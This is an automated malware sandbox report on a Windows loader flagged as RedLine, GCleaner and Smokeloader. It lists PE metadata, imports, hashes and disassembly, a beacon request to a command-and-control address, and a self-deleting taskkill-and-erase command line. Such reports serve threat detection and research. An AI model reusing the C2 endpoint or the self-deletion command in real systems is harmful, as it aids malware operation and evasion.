SSDEEP:	6144:/M2FZoaWs0RraGCf9yqWK+a6m9V5wHCIvGSp:/M2j+s0RrJwW1a6m76tGS
TLSH:	B0845A03B2E2BC61E52247325F6DBAEC372EF8614EA56B5F2358AE1F05701B1D613721
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G..HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L......e...

File Icon


Icon Hash:	410545494945410d

Static PE Info

General

Entrypoint:	0x40692b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x650DA5AC [Fri Sep 22 14:33:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	7b633a270c7c42fd79f7a13bab792dbe

Entrypoint Preview

Instruction
call 00007FA7C8F0E199h
jmp 00007FA7C8F03BF5h
push 00000014h
push 00424C40h
call 00007FA7C8F0B0A4h
call 00007FA7C8F05FE3h
movzx esi, ax
push 00000002h
call 00007FA7C8F0E12Ch
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007FA7C8F03BF6h
xor ebx, ebx
jmp 00007FA7C8F03C25h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007FA7C8F03BDDh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007FA7C8F03BCFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007FA7C8F03BFBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007FA7C8F0A97Ah
test eax, eax
jne 00007FA7C8F03BFAh
push 0000001Ch
call 00007FA7C8F03CD1h
pop ecx
call 00007FA7C8F0A16Eh
test eax, eax
jne 00007FA7C8F03BFAh
push 00000010h
call 00007FA7C8F03CC0h
pop ecx
call 00007FA7C8F0E1A5h
and dword ptr [ebp-04h], 00000000h
call 00007FA7C8F0D34Bh
test eax, eax
jns 00007FA7C8F03BFAh
push 0000001Bh
call 00007FA7C8F03CA6h
pop ecx
call dword ptr [0041B0E0h]
mov dword ptr [01A10A44h], eax
call 00007FA7C8F0E1C0h
mov dword ptr [004488ECh], eax
call 00007FA7C8F0DB63h
test eax, eax
jns 00007FA7C8F03BFAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x251f4	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1611000	0x17d78	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1b230	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x23cd8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x23c90	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1951a	0x19600	ea6bda6eaffcd71e3cb3b840f7f54cf4	False	0.5763739224137931	data	6.682046055999516	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0xabf4	0xac00	0d1b4c63d26089c531a5da1016d15edb	False	0.43518350290697677	data	5.094850793149334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x26000	0x15eaa48	0x22800	be618370f12683f44e27b8c45c4e9934	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1611000	0x17d78	0x17e00	df4394e1b46f5be823c978195c4f3ac0	False	0.3162017342931937	data	4.1099711857255254	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x1623a90	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x1624938	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x16251e0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x1625778	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x16258a8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x1625980	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x1626828	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x16270d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x1611880	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.4118663594470046
RT_ICON	0x1611f48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.1671161825726141
RT_ICON	0x16144f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.21808510638297873
RT_ICON	0x1614988	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.4118663594470046
RT_ICON	0x1615050	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.1671161825726141
RT_ICON	0x16175f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.21808510638297873
RT_ICON	0x1617a90	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.3694029850746269
RT_ICON	0x1618938	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.45712996389891697
RT_ICON	0x16191e0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.45910138248847926
RT_ICON	0x16198a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.44942196531791906
RT_ICON	0x1619e10	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.266597510373444
RT_ICON	0x161c3b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.30558161350844276
RT_ICON	0x161d460	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.35904255319148937
RT_ICON	0x161d930	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5676972281449894
RT_ICON	0x161e7d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5464801444043321
RT_ICON	0x161f080	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6184971098265896
RT_ICON	0x161f5e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.462448132780083
RT_ICON	0x1621b90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48686679174484054
RT_ICON	0x1622c38	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.4954918032786885
RT_ICON	0x16235c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.44769503546099293
RT_STRING	0x1627848	0x3f0	data	Romanian	Romania	0.46726190476190477
RT_STRING	0x1627c38	0x48a	data	Romanian	Romania	0.45008605851979344
RT_STRING	0x16280c8	0x13e	data	Romanian	Romania	0.5283018867924528
RT_STRING	0x1628208	0x35e	data	Romanian	Romania	0.46867749419953597
RT_STRING	0x1628568	0x55e	data	Romanian	Romania	0.44250363901018924
RT_STRING	0x1628ac8	0x2ac	data	Romanian	Romania	0.4722222222222222
RT_GROUP_CURSOR	0x1625748	0x30	data			0.9375
RT_GROUP_CURSOR	0x1625958	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x1627638	0x30	data			0.9375
RT_GROUP_ICON	0x1623a28	0x68	data	Romanian	Romania	0.7115384615384616
RT_GROUP_ICON	0x1614958	0x30	data	Romanian	Romania	0.9375
RT_GROUP_ICON	0x161d8c8	0x68	data	Romanian	Romania	0.7115384615384616
RT_GROUP_ICON	0x1617a60	0x30	data	Romanian	Romania	1.0
RT_VERSION	0x1627668	0x1e0	data			0.5604166666666667

Imports

DLL	Import
KERNEL32.dll	GetLocaleInfoA, LocalCompact, LoadLibraryExW, ReadConsoleOutputAttribute, AddConsoleAliasW, CreateHardLinkA, GetTickCount, CreateRemoteThread, GetWindowsDirectoryA, GetVolumeInformationA, LoadLibraryW, ReadConsoleInputA, CopyFileW, ReadProcessMemory, WriteConsoleW, GetModuleFileNameW, GetCompressedFileSizeA, GetTempPathW, SetThreadLocale, GetNumaProcessorNode, SetLastError, FindVolumeMountPointClose, CreateTimerQueueTimer, SetStdHandle, SetFileAttributesA, WriteConsoleA, LocalAlloc, SetCalendarInfoW, GetExitCodeThread, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetOEMCP, VirtualProtect, AddConsoleAliasA, CreateFileW, GetComputerNameA, FindFirstChangeNotificationW, GetLastError, GetSystemDefaultLangID, OutputDebugStringW, FlushFileBuffers, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapFree, IsProcessorFeaturePresent, GetCommandLineA, GetCPInfo, RaiseException, RtlUnwind, HeapAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetModuleHandleW, GetProcAddress, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, IsValidCodePage, GetACP, GetCurrentThreadId, IsDebuggerPresent, GetProcessHeap, ExitProcess, GetModuleHandleExW, HeapSize, GetStdHandle, GetFileType, CloseHandle, GetModuleFileNameA, WriteFile, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, ReadFile, SetFilePointerEx, GetConsoleCP, GetConsoleMode
USER32.dll	GetMenuItemID
GDI32.dll	GetCharacterPlacementW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/19/24-22:35:59.183264	TCP	2856233	ETPRO TROJAN Win32/Unknown Loader Related Activity (GET)	49730	80	192.168.2.4	185.172.128.90

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 22:35:58.980036974 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 19, 2024 22:35:59.182888985 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 19, 2024 22:35:59.183034897 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 19, 2024 22:35:59.183264017 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 19, 2024 22:35:59.386101961 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 19, 2024 22:36:00.628887892 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 19, 2024 22:36:00.629064083 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 19, 2024 22:36:06.866122961 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 19, 2024 22:36:06.866159916 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 19, 2024 22:36:06.866333008 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 19, 2024 22:36:06.866333008 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 19, 2024 22:36:06.910639048 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 19, 2024 22:36:06.910850048 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 19, 2024 22:36:15.832154036 CEST	49730	80	192.168.2.4	185.172.128.90

HTTP Request Dependency Graph

185.172.128.90

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.172.128.90	80	6640	C:\Users\user\Desktop\97NT8DO3JB.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 22:35:59.183264017 CEST	411	OUT	GET /cpa/ping.php?substr=one&s=two HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache
Apr 19, 2024 22:36:00.628887892 CEST	204	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 20:35:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Target ID:	0
Start time:	22:35:53
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\97NT8DO3JB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\97NT8DO3JB.exe"
Imagebase:	0x400000
File size:	388'096 bytes
MD5 hash:	3415AAEBE725006CFA66320863C1BB8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1835201448.0000000001B2F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000003.1628676156.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:35:53
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 744
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:35:54
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 764
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:35:55
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 780
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:35:55
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 772
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:35:56
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 904
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:35:56
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 912
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:35:59
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 1376
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:36:00
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "97NT8DO3JB.exe" /f & erase "C:\Users\user\Desktop\97NT8DO3JB.exe" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:36:00
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:36:00
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "97NT8DO3JB.exe" /f
Imagebase:	0x2d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:36:00
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 1336
Imagebase:	0x620000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:36:12
Start date:	19/04/2024
Path:	C:\Windows\System32\SIHClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\sihclient.exe /cv mYxTU7XVgUSOC2w2/zVglw.0.2
Imagebase:	0x7ff7007e0000
File size:	380'720 bytes
MD5 hash:	8BE47315BF30475EEECE8E39599E9273
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	7.2%
Signature Coverage:	12.3%
Total number of Nodes:	390
Total number of Limit Nodes:	6

Executed Functions

Function 00404710 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Init_thread_footer.LIBCMT ref: 004048A9
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00404A6A

Strings

`a}{, xrefs: 00404853

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Init_thread_footerIos_base_dtorstd::ios_base::_
String ID: `a}{
API String ID: 3517786926-238102023
Opcode ID: a28d067b673e4862f0d24dd7c906e2c321e184e2e2a33fc9e0058b8c04127d85
Instruction ID: 9427e19ead8f3d50910af521d41c25a3c8ebb436c11f4314b196e74ea4968ea8
Opcode Fuzzy Hash: a28d067b673e4862f0d24dd7c906e2c321e184e2e2a33fc9e0058b8c04127d85
Instruction Fuzzy Hash: 99E1E5B5A002048BCB18DF58C985B9EB7B1FF85304F1481AED945A73D1D738AE85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C681 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040C680,00000000,?,?,00000000,?,00410FF0), ref: 0040C6A3
TerminateProcess.KERNEL32(00000000,?,0040C680,00000000,?,?,00000000,?,00410FF0), ref: 0040C6AA
ExitProcess.KERNEL32 ref: 0040C6BC

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction ID: 783588ce1970669c76067d45beb7604b368d491d8d891c7acf0b2a9c1a233be6
Opcode Fuzzy Hash: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction Fuzzy Hash: CEE0BF75400108FFCB216F55DC49A9A3F69EB44345F048536F90596271CB3ADD82CA8C

Uniqueness

Uniqueness Score: -1.00%

Function 01B2F826 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 01B2F84E
Module32First.KERNEL32(00000000,00000224), ref: 01B2F86E

Memory Dump Source

Source File: 00000000.00000002.1835201448.0000000001B2F000.00000040.00000020.00020000.00000000.sdmp, Offset: 01B2F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b2f000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 3416953276f2d34005ba1691dec63ec41ed0d2c30669b15af72a2f84dae1f8aa
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E1F06235500731ABE7243BF9A88CB7AB6F8EF49625F10056CE64AD90C0DBB4E9494A61

Uniqueness

Uniqueness Score: -1.00%

Function 00401D70 Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 311
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__cftof.LIBCMT ref: 00401EE0
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 00401EFB
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 00401F1E
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 00401F3F
HttpOpenRequestA.WININET(00000000,GET,00000000,00000000,00000000,00000000,80400000,00000001), ref: 00401F70
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00401F8B
InternetCloseHandle.WININET(00000000), ref: 00401FA2

Part of subcall function 00401D70: InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401915
Part of subcall function 00401D70: InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401934
Part of subcall function 00401D70: HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 004019C8

InternetCloseHandle.WININET(00000000), ref: 00401FA5

Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017C7
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017ED
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401813
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401839

InternetCloseHandle.WININET(00000000), ref: 00401FAB

Strings

text, xrefs: 00401B6C
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401789
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 004017CB
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 004017F1
GET, xrefs: 00401F6A
Oa, xrefs: 00401B3D
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401817

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Internet$Http$Request$Headers$CloseHandle$FileOpen$ConnectInfoOptionPointerQueryReadSend__cftof
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text$Oa
API String ID: 3687058084-2905923518
Opcode ID: 87dc1f5cbc00247bb5cd1f96503eacf37748876418ecbfeab935ebf61d375d81
Instruction ID: 4f979ec40115068546db40a18da2f826472f24156d8de6420d48f3aae504fc61
Opcode Fuzzy Hash: 87dc1f5cbc00247bb5cd1f96503eacf37748876418ecbfeab935ebf61d375d81
Instruction Fuzzy Hash: 36A10671E00204AFDB14DFA8CC85BEEBBB5EF44304F14812AE911B72D1D7B89945CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00403500 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,07EABFAD), ref: 0040358A
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000001), ref: 00403753
GetLastError.KERNEL32(?,004278D4,00000001,00000000,00000001), ref: 00403767
GetTempPathA.KERNEL32(00000104,?,?,004278D4,00000001,00000000,00000001), ref: 00403780
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000000,00000001), ref: 0040395E
GetLastError.KERNEL32(?,004278D4,00000001,00000000,00000000,00000001), ref: 00403968

Strings

open, xrefs: 00403E7D
.exe, xrefs: 00403C0F, 00403C23
APPDATA, xrefs: 004035B3
L]Z\, xrefs: 00404193
TMPDIR, xrefs: 004037A6

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CreateDirectoryErrorLastPath$FolderTemp
